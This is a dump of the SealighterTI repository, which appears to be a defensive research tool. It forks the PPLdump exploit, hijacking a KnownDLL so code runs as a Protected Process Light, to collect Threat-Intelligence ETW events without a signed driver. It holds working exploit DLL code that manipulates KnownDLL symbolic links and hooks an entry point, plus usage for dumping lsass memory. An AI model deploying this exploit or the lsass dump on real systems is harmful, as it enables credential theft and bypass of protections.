dwOutputStringSize, L\"(DLL) \");\n\n        if (SUCCEEDED(StringCbLength(pwszOutputString, dwOutputStringSize, &offset)))\n        {\n            StringCbVPrintf(&pwszOutputString[offset / sizeof(WCHAR)], dwOutputStringSize - offset, pwszFormat, va);\n\n            OutputDebugString(pwszOutputString);\n            if (doConsoleOutput)\n                WriteConsole(g_hConsoleOutput, pwszOutputString, (DWORD)wcslen(pwszOutputString), NULL, NULL);\n        }\n\n        LocalFree(pwszOutputString);\n    }\n\n    va_end(va);\n}\n\nvoid LogLastError(LPCWSTR pwszFunctionName)\n{\n    DWORD dwLastError = GetLastError();\n    if (dwLastError != ERROR_SUCCESS)\n        LogToConsole(L\"Function '%ws' returned error code %d - %ws\\n\", pwszFunctionName, dwLastError, _com_error(HRESULT_FROM_WIN32(dwLastError)).ErrorMessage());\n}\n\nBOOL GetCurrentDllFileName(LPWSTR* ppwszDllName)\n{\n    WCHAR wszDllPath[MAX_PATH];\n    LPWSTR pwszDllName = NULL;\n\n    GetModuleFileName(g_hInstance, wszDllPath, MAX_PATH);\n    if (GetLastError() == ERROR_SUCCESS)\n    {\n        pwszDllName = PathFindFileName(wszDllPath);\n        *ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR));\n        if (*ppwszDllName)\n        {\n            StringCchPrintf(*ppwszDllName, 64, L\"%ws\", pwszDllName);\n            return TRUE;\n        }\n    }\n\n    return FALSE;\n}\n\nBOOL DeleteKnownDllEntry(LPCWSTR pwszDllName)\n{\n    BOOL bReturnValue = FALSE;\n\n    NTSTATUS status = 0;\n    HANDLE hLink = NULL;\n    LPWSTR pwszLinkPath = NULL;\n    UNICODE_STRING name = { 0 };\n    OBJECT_ATTRIBUTES oa = { 0 };\n\n    SECURITY_DESCRIPTOR sd = { 0 };\n    SECURITY_ATTRIBUTES sa = { 0 };\n\n    //\n    // Build the path of the symbolic link object to delete. The name of the DLL can be determined\n    // at runtime by invoking 'GetCurrentDllFileName'. The final path will be something such as \n    // '\\KnownDlls\\DPAPI.dll'.\n    //\n    pwszLinkPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszLinkPath)\n        goto end;\n\n    StringCchPrintf(pwszLinkPath, MAX_PATH, L\"\\\\KnownDlls\\\\%ws\", pwszDllName);\n\n    if (g_bDebug)\n        LogToConsole(L\"Object to delete: %ws\\n\", pwszLinkPath);\n\n    RtlInitUnicodeString(&name, pwszLinkPath);\n    InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);\n\n    //\n    // Here we want to call NtOpenSymbolicLinkObject with DELETE access because we want to delete\n    // the link. Unfortunately, the inherited ACL does not grant us this right and we will thus \n    // get an \"Access denied\" error. What we can do though is open the symbolic link object with\n    // WRITE_DAC access in order to change the ACL of the object.\n    //\n    status = NtOpenSymbolicLinkObject(&hLink, WRITE_DAC, &oa);\n    SetLastError(RtlNtStatusToDosError(status));\n    if (status != 0)\n    {\n        LogLastError(L\"NtOpenSymbolicLinkObject\");\n        goto end;\n    }\n\n    if (g_bDebug)\n        LogToConsole(L\"NtOpenSymbolicLinkObject('%ws', WRITE_DAC) OK\\n\", pwszLinkPath);\n\n    //\n    // Prepare the Security Descriptor. Here we will just use a NULL DACL. This will give everyone\n    // access to the object but that's not really an issue because we'll delete it right after.\n    //\n    InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);\n#pragma warning( suppress : 6248 ) // Disable warning as setting a NULL DACL is intentional here\n    if (!SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE))\n    {\n        LogLastError(L\"SetSecurityDescriptorDacl\");\n    }\n\n    sa.nLength = sizeof(sa);\n    sa.bInheritHandle = FALSE;\n    sa.lpSecurityDescriptor = &sd;\n\n    //\n    // Apply the new Security Descriptor.\n    //\n    if (!SetKernelObjectSecurity(hLink, DACL_SECURITY_INFORMATION, &sd))\n    {\n        LogLastError(L\"SetKernelObjectSecurity\");\n        goto end;\n    }\n\n    if (g_bDebug)\n        LogToConsole(L\"SetKernelObjectSecurity OK\\n\");\n\n    //\n    // At this point we can close the object handle because only the WRITE_DAC right is associated\n    // to it. This handle will not allow us to delete the object.\n    //\n    status = NtClose(hLink);\n    SetLastError(RtlNtStatusToDosError(status));\n    if (status != 0)\n    {\n        LogLastError(L\"NtClose\");\n        goto end;\n    }\n\n    if (g_bDebug)\n        LogToConsole(L\"NtClose OK\\n\");\n\n    //\n    // This time, we should be able to open the link object with DELETE access.\n    //\n    status = NtOpenSymbolicLinkObject(&hLink, DELETE, &oa);\n    SetLastError(RtlNtStatusToDosError(status));\n    if (status != 0)\n    {\n        LogLastError(L\"NtOpenSymbolicLinkObject\");\n        goto end;\n    }\n\n    if (g_bDebug)\n        LogToConsole(L\"NtOpenSymbolicLinkObject('%ws', DELETE) OK\\n\", pwszLinkPath);\n\n    //\n    // Now, we can invoke NtMakeTemporaryObject to disable the \"Permanent\" flag of the object. When\n    // an object does not have the \"Permanent\" flag enabled, it is automatically deleted when all \n    // its handles are closed.\n    //\n    status = NtMakeTemporaryObject(hLink);\n    SetLastError(RtlNtStatusToDosError(status));\n    if (status != 0)\n    {\n        LogLastError(L\"NtMakeTemporaryObject\");\n        goto end;\n    }\n\n    if (g_bDebug)\n        LogToConsole(L\"NtMakeTemporaryObject OK\\n\");\n\n    bReturnValue = status == STATUS_SUCCESS;\n\n    //\n    // We should be the only process to have an opened handle on this object. So, if we close it, \n    // the link should be automatically deleted.\n    //\n\nend:\n    if (hLink)\n        NtClose(hLink);\n    if (pwszLinkPath)\n        LocalFree(pwszLinkPath);\n\n    return bReturnValue;\n}\n\nBOOL ParseCommandLine()\n{\n    LPWSTR pwszCommandLine = GetCommandLine();\n    LPWSTR* argv = NULL;\n    int argc = 0;\n    int i = 0;\n\n    argv = CommandLineToArgvW(pwszCommandLine, &argc);\n    if (!argv)\n        return FALSE;\n\n    if (argc < 2)\n        return FALSE;\n\n    g_pwszGuid = argv[1];\n\n    if (argc > 2)\n    {\n        if (_wcsicmp(argv[2], L\"-v\") == 0)\n            g_bVerbose = TRUE;\n        else if (_wcsicmp(argv[2], L\"-d\") == 0)\n        {\n            g_bVerbose = TRUE;\n            g_bDebug = TRUE;\n        }\n    }\n\n    return TRUE;\n}\n\n// ---------------------------------\n// ---------------------------------\n\nvoid RunWatcherThread() {\n    WCHAR wszEventName[MAX_PATH] = { 0 };\n    HANDLE hEventStopTrace = NULL;\n    BOOL bShouldStop = FALSE;\n\n    if (g_bVerbose)\n        LogToConsole(L\"Start Event Watcher Thread\");\n\n    StringCchPrintf(wszEventName, MAX_PATH, L\"Global\\\\%ws_STOP_TRACE\", g_pwszGuid);\n    if (hEventStopTrace = OpenEvent(EVENT_ALL_ACCESS, FALSE, wszEventName))\n    {\n        while (TRUE) {\n            bShouldStop = WaitForSingleObject(hEventStopTrace, INFINITE) == WAIT_OBJECT_0;\n            if (bShouldStop) {\n                if (g_bVerbose)\n                    LogToConsole(L\"Was told to stop ETW Trace\");\n                break;\n            }\n            Sleep(1000);\n        }\n        CloseHandle(hEventStopTrace);\n    }\n    else\n        LogLastError(L\"OpenEvent\");\n\n    if (g_bVerbose)\n        LogToConsole(L\"Stopping Sealighter\");\n    stop_sealighter();\n}\n\nstatic int (WINAPI* TrueEntryPoint)(VOID) = NULL;\nint WINAPI HookedEntryPoint(VOID) {\n    int status = 0;\n    BOOL bReturnValue = FALSE;\n\n    if (g_bVerbose)\n        LogToConsole(L\"In hooked entrypoint, starting ETW Trace\");\n\n    // Use static config to make sealighter log TI provider to event log\n    std::string configString = R\"(\n        {\n        \"session_properties\": {\n            \"session_name\": \"Sealighter-Trace\",\n            \"output_format\": \"event_log\"\n        },\n        \"user_traces\": [\n            {\n                \"trace_name\": \"Microsoft-Windows-Threat-Intelligence\",\n                \"provider_name\": \"{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}\",\n                \"report_stacktrace\": true\n            }\n        ]\n        }\n    )\";\n    // Start Thread to watch for shutdown event\n    std::thread watcherThread(RunWatcherThread);\n    run_sealighter(configString);\n    watcherThread.join();\n    if (status == 0) {\n        bReturnValue = TRUE;\n    }\n\n    if (g_bVerbose)\n        LogToConsole(L\"Finished ETW Trace\");\n    return TrueEntryPoint();\n}\n\nBOOL StartTracing() {\n    if (g_bVerbose)\n        LogToConsole(L\"Hooking Main Entry to EXE\");\n    DetourRestoreAfterWith();\n    DetourTransactionBegin();\n    DetourUpdateThread(GetCurrentThread());\n    TrueEntryPoint = (int (WINAPI*)(VOID))DetourGetEntryPoint(NULL);\n    DetourAttach(&(PVOID&)TrueEntryPoint, HookedEntryPoint);\n    DetourTransactionCommit();\n    return TRUE;\n}\n\nvoid StopTracing() {\n    if (g_bVerbose)\n        LogToConsole(L\"Unhooking Entrypoint\");\n    DetourTransactionBegin();\n    DetourUpdateThread(GetCurrentThread());\n    DetourDetach(&(PVOID&)TrueEntryPoint, HookedEntryPoint);\n    DetourTransactionCommit();\n\n    if (g_bVerbose)\n        LogToConsole(L\"Stopping ETW Trace\");\n    stop_sealighter();\n}\n"
  },
  {
    "path": "PPLdumpDll/dllexploit.h",
    "content": "#pragma once\n\n#include \"ntdll.h\"\n\n#include <Windows.h>\n#include <strsafe.h>\n#include <Lmcons.h>\n#include <tlhelp32.h>\n#include <shlwapi.h>\n#include <aclapi.h>\n#include <shellapi.h>\n#include <DbgHelp.h>\n#include <comdef.h>\n#include <detours.h>\n\n#pragma comment(lib, \"Shlwapi.lib\")\n#pragma comment(lib, \"Advapi32.lib\")\n#pragma comment(lib, \"Shell32.lib\")\n#pragma comment(lib, \"Dbghelp.lib\")\n#pragma comment(lib, \"detours.lib\")\n\nextern HMODULE g_hInstance;\nextern HANDLE g_hConsoleOutput;\nextern LPWSTR g_pwszGuid;\nextern BOOL g_bVerbose;\nextern BOOL g_bDebug;\n\nvoid DoStuff();\nvoid LogToConsole(LPCWSTR pwszFormat, ...);\nvoid LogLastError(LPCWSTR pwszFunctionName);\nBOOL GetCurrentDllFileName(LPWSTR* ppwszDllName);\nBOOL DeleteKnownDllEntry(LPCWSTR pwszDllName);\nBOOL ParseCommandLine();\nBOOL StartTracing();\nvoid StopTracing();"
  },
  {
    "path": "README.md",
    "content": "# Sealighter-TI\nCombining Sealighter with unpatched exploits and [PPLDump](https://github.com/itm4n/PPLdump) to run the `Microsoft-Windows-Threat-Intelligence` ETW Provider without a signed driver.\n \n# **NOTE**\nThe PPLDump exploit is patched on Windows 10 v21H2 Build 19044.1826 and upwards.\nYou can know more about it [here](https://github.com/itm4n/PPLdump/issues/12) and [here](https://itm4n.github.io/the-end-of-ppldump/).\n\nFor a similar solution, see [my blog on using Vulnerable Drivers](https://blog.tofile.dev/2022/11/30/kdu_sealighter.html) for the same purpose.\n\n# Overview\n## The Problem - PPL and Anti-Malware\nThe `Microsoft-Windows-Threat-Intelligence` ETW Provider is an excellent tool to [detect process injection](https://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection), and other type of attacks. Unlike usermode hooking or in-process ETW Providers, avoiding or tampering with the `Threat-Intelligence` is very difficult.\n \nHowever, to subscribe to this Provider requires a process with very special privileges, marked as [Protected Process Light (PPL)](https://www.alex-ionescu.com/?p=97) 'Anti-Malware' or higher. To legitimately run a program at this level you must submit a driver to Microsoft to be co-signed by them, something not everyone has the inclination or reputation to do.\n \nI originally created a research project named [PPLRunner](https://github.com/pathtofile/PPLRunner) that would allow you create PPL process in a test environment, however it requires Windows to be put into a debug or 'test signing' mode. This could in theory also have the effect of altering the behaviour of the malware or program you are attempting to analyse, which may behave differently if it believes it is not on a 'real' machine.\n \n \n## The Solution - Exploit to success\nBack in 2018 [Alex Ionescu](https://twitter.com/aionescu) and [James Forshaw](https://twitter.com/tiraniddo) presented a [series of talks](http://publications.alex-ionescu.com/Recon/Recon%202018%20-%20Unknown%20Known%20DLLs%20and%20other%20code%20integrity%20trust%20violations.pdf), as well as some [blogs](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html), covering many ways you could trick Windows into illegitimately running arbitrary code at the PPL level. A number of these techniques remain unpatched to this day.\n \nIn 2021 [Clément Labro](https://twitter.com/itm4n) created the project [PPLDump](https://github.com/itm4n/PPLdump), which uses one of the unpatched techniques Alex and James covered, to trick a PPL-elevated `services.exe` into loading an arbitrary DLL.\n \n## The Glue - SealighterTI\nPPLDump uses its elevated access to dump the memory of `lsass.exe`. I've taken Clément's awesome code, and instead combined it with my ETW Logging tool [Sealighter](https://github.com/pathtofile/Sealighter), to enable you to get events from the `Microsoft-Windows-Threat-Intelligence` logging to the Windows Event Log. This is possible from a 'production' machine, without the need for a signed driver or to put the machine into 'test signing' mode.\n \n \n# To Build\nTo use pre-built binaries, download the `SealighterTI.exe` and `sealigher_provider.man` from [The Releases Page](https://github.com/pathtofile/SealighterTI/releases).\n \nTo build manually, first check out the source code (make sure to use `--recursive`):\n```bash\ngit clone --recursive https://github.com/pathtofile/SealighterTI.git\n```\nThen build `SealighterTI.sln` \n\n**In most circumstances, only the 'Release' Build will actually inject successfully, so build and use that for 99% of cases**\n\n# To Run\nFirst, move the `SealighterTI.exe` binary to somewhere accessible by all users, e.g. `C:\\Program Files`.\nThen open up the `sealigher_provider.man` in a text editor, and replace all uses of `!!SEALIGHTER_LOCATION!!` with the full path to the `SealighterTI.exe` binary. Then from an elevated command prompt run:\n```bash\nwevtutil im path/to/sealigher_provider.man\n```\n \nThen just run `SealighterTI.exe`. For the first run, I recommend running with the debug flag:\n```bash\nSealighterTI.exe -d\n```\nFor the first run I also recommend having a copy of [Sysinternal's DBGView](https://docs.microsoft.com/en-us/sysinternals/downloads/debugview) open with the \"Capture Global Win32\" option set, so you can see the debug logs from the DLL/PPL Process as well. If run correctly It should look like this:\n![Pic of Code Running](SealighterTI_Running.png)\n \nOnce it gets to \"press ctrl+c to stop\" Open Event Viewer, and you should see events under 'Application and Service Logs/Sealighter/Operational':\n![Pic of Event Log](SealighterTI_EventLog.png)\n \nTo stop the trace, press 'ctrl+c' in the `SealighterTI.exe` window.\n \n# Technical Details\nSee [this blog](https://blog.tofile.dev) for the technical details about how everything works.\n \n# The code has lots of 'PPLDump' files and functions?\nYep, I chose to fork PPLDump and alter only the parts I needed to in order to get the ETW Trace working. This is both to ensure people know the exploit parts of the code are courtesy of Clément Labro, but also to make it easy if PPLDump gets updated with any bug fixes I may want to also pull into Sealighter-TI.\n \n# Compatibility\nThis has only been tested on Windows 10 x64.\n \n# Acknowledgements\nAll of the work to run arbitrary code as PPL is the work of [Clément Labro](https://twitter.com/itm4n) and their [PPLDump](https://github.com/itm4n/PPLdump) project. I simply worked on glueing the ETW Logging to the end of it.\n \nThe Research from [Alex Ionescu](https://twitter.com/aionescu) and [James Forshaw](https://twitter.com/tiraniddo) is instrumental in making this project possible.\n \n[Filip Olszak](https://twitter.com/_lpvoid) has written a [great blog](https://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection) about the usefulness of the `Threat-Intelligence` ETW Provider.\n \n \n# Further Reading/Links\n- http://publications.alex-ionescu.com/Recon/Recon%202018%20-%20Unknown%20Known%20DLLs%20and%20other%20code%20integrity%20trust%20violations.pdf\n- https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/\n- https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html\n- https://www.alex-ionescu.com/?p=97\n- https://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection\n- https://github.com/itm4n/PPLdump\n- https://github.com/pathtofile/PPLRunner\n- https://github.com/pathtofile/Sealighter\n"
  },
  {
    "path": "README_PPLDUMP.md",
    "content": "# PPLdump\n\nThis tool implements a __userland__ exploit that was initially discussed by James Forshaw (a.k.a. [@tiraniddo](https://twitter.com/tiraniddo)) - in this [blog post](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html) - for __dumping the memory of any PPL__ as an administrator.\n\nI wrote two blog posts about this tool. The first part is about Protected Processes concepts while the second one dicusses the bypass technique itself.\n\n- __Blog post part #1__: [Do You Really Know About LSA Protection (RunAsPPL)?](https://itm4n.github.io/lsass-runasppl/)\n- __Blog post part #2__: [Bypassing LSA Protection in Userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/)\n\n<p align=\"center\">\n  <img src=\"demo.gif\">\n</p>\n\n## Usage\n\nSimply run the executable without any argument and you will get a detailed help/usage.\n\n```console\nc:\\Temp>PPLdump64.exe\n _____ _____ __      _\n|  _  |  _  |  |   _| |_ _ _____ ___\n|   __|   __|  |__| . | | |     | . |  version 0.4\n|__|  |__|  |_____|___|___|_|_|_|  _|  by @itm4n\n                                |_|\n\nDescription:\n  Dump the memory of a Protected Process Light (PPL) with a *userland* exploit\n\nUsage:\n  PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>\n\nArguments:\n  PROC_NAME  The name of a Process to dump\n  PROC_ID    The ID of a Process to dump\n  DUMP_FILE  The path of the output dump file\n\nOptions:\n  -v         (Verbose) Enable verbose mode\n  -d         (Debug) Enable debug mode (implies verbose)\n  -f         (Force) Bypass DefineDosDevice error check\n\nExamples:\n  PPLdump.exe lsass.exe lsass.dmp\n  PPLdump.exe -v 720 out.dmp\n```\n\n## FAQ\n\n### Does it work on all versions of Windows?\n\nFirst of all, PPLs were introduced with Windows 8.1 so older versions of Windows are obviously not supported. This project mainly targets Windows 10 (and its server editions) but I also tested it on older versions. You will find a summary table of the tests I did in the eponymous section.\n\n### How is it different from other tools?\n\nOther PPL bypass tools usually execute arbitrary code in the Kernel through a digitally signed driver. This one is different as it involves only userland tricks and is (almost) fileless.\n\n### \"Userland\", you say?!\n\nThis tool leverages a very clever trick that was initially discussed by James Forshaw in 2018 (see Credits). It involves the use of the `DefineDosDevice` API function to trick the system into creating an arbitrary Known DLL entry. Since PPLs do not check the digital signature of Known DLLs, this can be later used to perform a DLL hijacking attack and execute arbitrary code inside a PPL.\n\n### Is it really \"fileless\"?\n\nAlthough this tool performs a DLL hijacking attack as a second stage, it does not create a new DLL file on disk. Instead, it makes use of an NTFS transaction to virtually replace the content of an existing one, a technique directly inspired by the work of [@\\_ForrestOrr](https://twitter.com/_ForrestOrr) (see Credits).\n\n### Can this tool cause a DoS?\n\nThs short answer is \"no\". First, it does not involve any direct Kernel access so there is no risk of causing a BSOD from this standpoint. In the worst case scenario, the tool might fail to remove the created Known DLL entry but, this will not cause a Denial of Service. It will just stay there until the next machine reboot. As the created entry would just be a symbolic link pointing to a non-existent section, the system would eventually fall back to the default location (i.e. the `System32` folder) so it will not impact other programs running on the machine.\n\n## Tests\n\n| Windows version | Build | Edition | Arch | Admin | SYSTEM |\n| --- | :---: | :---: | :---: | :---: | :---: |\n| Windows 10 20H2 | 19042 | Pro | x64 | :heavy_check_mark: | :heavy_check_mark: |\n| Windows 10 20H2 | 19042 | Pro | x86 | :heavy_check_mark: | :heavy_check_mark: |\n| Windows 10 1909 | 18363 | Pro | x64 | :heavy_check_mark: | :heavy_check_mark: |\n| Windows 10 1507 | 10240 | Educational | x64 | :heavy_check_mark: | :heavy_check_mark: |\n| Windows 10 1507 | 10240 | Home | x64 | :heavy_check_mark: | :heavy_check_mark: |\n| Windows 10 1507 | 10240 | Pro | x64 | :heavy_check_mark: | :heavy_check_mark: |\n| Windows Server 2019 | 17763 | Standard | x64 | :heavy_check_mark: | :heavy_check_mark: |\n| Windows Server 2019 | 17763 | Essentials | x64 | :heavy_check_mark: | :heavy_check_mark: |\n| Windows 8.1 | 9600 | Pro | x64 | :warning: | :warning: |\n| Windows Server 2012 R2 | 9600 | Standard | x64 | :warning: | :warning: |\n\n:warning: The exploit fails on fully updated Windows 8.1 / Server 2012 R2 machines. I have yet to figure out which patch caused the error.\n\n```console\n[-] DefineDosDevice failed with error code 6 - The handle is invalid.\n```\n\n:warning: On Windows 8.1 / Server 2012 R2, you might also have to compile the binary statically (see \"Build instructions\" below).\n\n## Build instructions\n\nThis Visual Studio Solution comprises two projects (the executable and a payload DLL) that need to be compiled in a specific order. Everything is pre-configured, so you just have to follow these simple instructions. The compiled payload DLL is automatically embedded into the final executable.\n\n1. Open the Solution with Visual Studio 2019.\n2. Select `Release / x64` or `Release / x86` depending on the architecture of the target machine.\n3. `Build > Build Solution`.\n\nOn Windows 8.1 / Server 2012 R2, you might have to compile the binary statically.\n\n1. Right-click on the `PPLdump` project.\n2. Go to `Configuration Properties` > `C/C++` > `Code Generation`.\n3. Select `Multi-threaded (/MT)` as the `Runtime Library` option.\n4. Build the Solution.\n\n## Credits\n\n- [@tiraniddo](https://twitter.com/tiraniddo) - Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege  \n[https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)\n- [@\\_ForrestOrr](https://twitter.com/_ForrestOrr) - Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing  \n[https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing](https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing)\n"
  },
  {
    "path": "SealighterTI.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.30907.101\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"SealighterTI\", \"PPLdump\\PPLdump.vcxproj\", \"{FCE81BDA-ACAC-4892-969E-0414E765593B}\"\n\tProjectSection(ProjectDependencies) = postProject\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2} = {6E8D2C12-255B-403C-9EF3-8A097D374DB2}\n\tEndProjectSection\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"SealighterTIDll\", \"PPLdumpDll\\PPLdumpDll.vcxproj\", \"{6E8D2C12-255B-403C-9EF3-8A097D374DB2}\"\n\tProjectSection(ProjectDependencies) = postProject\n\t\t{ED4E6027-541F-440A-A5EE-15DBB7B89423} = {ED4E6027-541F-440A-A5EE-15DBB7B89423}\n\tEndProjectSection\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"Microsoft.O365.Security.Native.ETW\", \"Sealighter\\krabsetw\\Microsoft.O365.Security.Native.ETW\\Microsoft.O365.Security.Native.ETW.vcxproj\", \"{ED4E6027-541F-440A-A5EE-15DBB7B89423}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|x64 = Debug|x64\n\t\tRelease|x64 = Release|x64\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{FCE81BDA-ACAC-4892-969E-0414E765593B}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{FCE81BDA-ACAC-4892-969E-0414E765593B}.Debug|x64.Build.0 = Debug|x64\n\t\t{FCE81BDA-ACAC-4892-969E-0414E765593B}.Release|x64.ActiveCfg = Release|x64\n\t\t{FCE81BDA-ACAC-4892-969E-0414E765593B}.Release|x64.Build.0 = Release|x64\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Debug|x64.Build.0 = Debug|x64\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Release|x64.ActiveCfg = Release|x64\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Release|x64.Build.0 = Release|x64\n\t\t{ED4E6027-541F-440A-A5EE-15DBB7B89423}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{ED4E6027-541F-440A-A5EE-15DBB7B89423}.Debug|x64.Build.0 = Debug|x64\n\t\t{ED4E6027-541F-440A-A5EE-15DBB7B89423}.Release|x64.ActiveCfg = Release|x64\n\t\t{ED4E6027-541F-440A-A5EE-15DBB7B89423}.Release|x64.Build.0 = Release|x64\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {C27E5A8A-2C3F-4B24-92AE-7E0B29C0A16B}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "sealighter_provider.man",
    "content": "<?xml version=\"1.0\"?>\n<instrumentationManifest xsi:schemaLocation=\"http://schemas.microsoft.com/win/2004/08/events eventman.xsd\" xmlns=\"http://schemas.microsoft.com/win/2004/08/events\" xmlns:win=\"http://manifests.microsoft.com/win/2004/08/windows/events\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:trace=\"http://schemas.microsoft.com/win/2004/08/events/trace\">\n\t<instrumentation>\n\t\t<events>\n\t\t\t<provider name=\"Sealighter\" guid=\"{CDD5F0CC-AB0C-4ABE-97B2-CC82B7E68F30}\" symbol=\"SEALIGHTER_PROVIDER\" resourceFileName=\"!!SEALIGHTER_LOCATION!!\" messageFileName=\"!!SEALIGHTER_LOCATION!!\">\n\t\t\t\t<events>\n\t\t\t\t\t<event symbol=\"SEALIGHTER_REPORT_EVENT\" value=\"1\" version=\"1\" channel=\"Sealighter/Operational\" level=\"win:Informational\" task=\"Report\" opcode=\"Report\" template=\"SEALIGHTER_REPORT_TEMPLATE\" keywords=\"Report \" message=\"$(string.Sealighter.event.1.message)\"></event>\n\t\t\t\t</events>\n\t\t\t\t<levels></levels>\n\t\t\t\t<tasks>\n\t\t\t\t\t<task name=\"Report\" symbol=\"SEALIGHTER_REPORT_TASK\" value=\"1\" eventGUID=\"{F87D5C2B-E51E-466B-AC10-54D231220F98}\" message=\"$(string.Sealighter.task.SEALIGHTER_REPORT_TASK.message)\"></task>\n\t\t\t\t</tasks>\n\t\t\t\t<opcodes>\n\t\t\t\t\t<opcode name=\"Report\" symbol=\"SEALIGHTER_REPORT_OPCODE\" value=\"10\" message=\"$(string.SEALIGHTER_PROVIDER.opcode.SEALIGHTER_REPORT_OPCODE.message)\"></opcode>\n\t\t\t\t</opcodes>\n\t\t\t\t<channels>\n\t\t\t\t\t<channel name=\"Sealighter/Operational\" chid=\"Sealighter/Operational\" symbol=\"SEALIGHTER_OPERATIONAL\" type=\"Operational\" enabled=\"true\" message=\"$(string.SEALIGHTER_PROVIDER.channel.SEALIGHTER_OPERATIONAL.message)\"></channel>\n\t\t\t\t</channels>\n\t\t\t\t<keywords>\n\t\t\t\t\t<keyword name=\"Report\" symbol=\"SEALIGHTER_REPORT_KEYWORD\" mask=\"0x1\" message=\"$(string.SEALIGHTER_PROVIDER.Keyword.SEALIGHTER_REPORT.message)\"></keyword>\n\t\t\t\t</keywords>\n\t\t\t\t<templates>\n\t\t\t\t\t<template tid=\"SEALIGHTER_REPORT_TEMPLATE\">\n\t\t\t\t\t\t<data name=\"json\" inType=\"win:AnsiString\" outType=\"win:Json\"></data>\n\t\t\t\t\t\t<data name=\"activity_id\" inType=\"win:AnsiString\" outType=\"xs:string\"></data>\n\t\t\t\t\t\t<data name=\"event_flags\" inType=\"win:UInt16\" outType=\"xs:unsignedShort\"></data>\n\t\t\t\t\t\t<data name=\"event_id\" inType=\"win:UInt16\" outType=\"xs:unsignedShort\"></data>\n\t\t\t\t\t\t<data name=\"event_name\" inType=\"win:UnicodeString\" outType=\"xs:string\"></data>\n\t\t\t\t\t\t<data name=\"event_opcode\" inType=\"win:UInt8\" outType=\"xs:unsignedByte\"></data>\n\t\t\t\t\t\t<data name=\"event_version\" inType=\"win:UInt8\" outType=\"xs:unsignedByte\"></data>\n\t\t\t\t\t\t<data name=\"process_id\" inType=\"win:UInt32\" outType=\"xs:unsignedInt\"></data>\n\t\t\t\t\t\t<data name=\"provider_name\" inType=\"win:UnicodeString\" outType=\"xs:string\"></data>\n\t\t\t\t\t\t<data name=\"task_name\" inType=\"win:UnicodeString\" outType=\"xs:string\"></data>\n\t\t\t\t\t\t<data name=\"thread_id\" inType=\"win:UInt32\" outType=\"xs:unsignedInt\"></data>\n\t\t\t\t\t\t<data name=\"timestamp\" inType=\"win:Int64\" outType=\"xs:long\"></data>\n\t\t\t\t\t\t<data name=\"trace_name\" inType=\"win:AnsiString\" outType=\"xs:string\"></data>\n\t\t\t\t\t</template>\n\t\t\t\t</templates>\n\t\t\t</provider>\n\t\t</events>\n\t</instrumentation>\n\t<localization>\n\t\t<resources culture=\"en-US\">\n\t\t\t<stringTable>\n\t\t\t\t<string id=\"level.Informational\" value=\"Information\"></string>\n\t\t\t\t<string id=\"Sealighter.task.SEALIGHTER_REPORT_TASK.message\" value=\"Report on events\"></string>\n\t\t\t\t<string id=\"Sealighter.task.SEALIGHTER_CONTROL_TASK.message\" value=\"Control Sealighter\"></string>\n\t\t\t\t<string id=\"Sealighter.opcode.a.message\" value=\"a\"></string>\n\t\t\t\t<string id=\"Sealighter.event.2.message\" value=\"Control Event\"></string>\n\t\t\t\t<string id=\"Sealighter.event.1.message\" value=\"&#xA;%1\"></string>\n\t\t\t\t<string id=\"SEALIGHTER_PROVIDER.opcode.SEALIGHTER_REPORT_OPCODE.message\" value=\"Report on events\"></string>\n\t\t\t\t<string id=\"SEALIGHTER_PROVIDER.opcode.SEALIGHTER_CONTROL_OPCODE.message\" value=\"Control Sealighter\"></string>\n\t\t\t\t<string id=\"SEALIGHTER_PROVIDER.channel.SEALIGHTER_OPERATIONAL.message\" 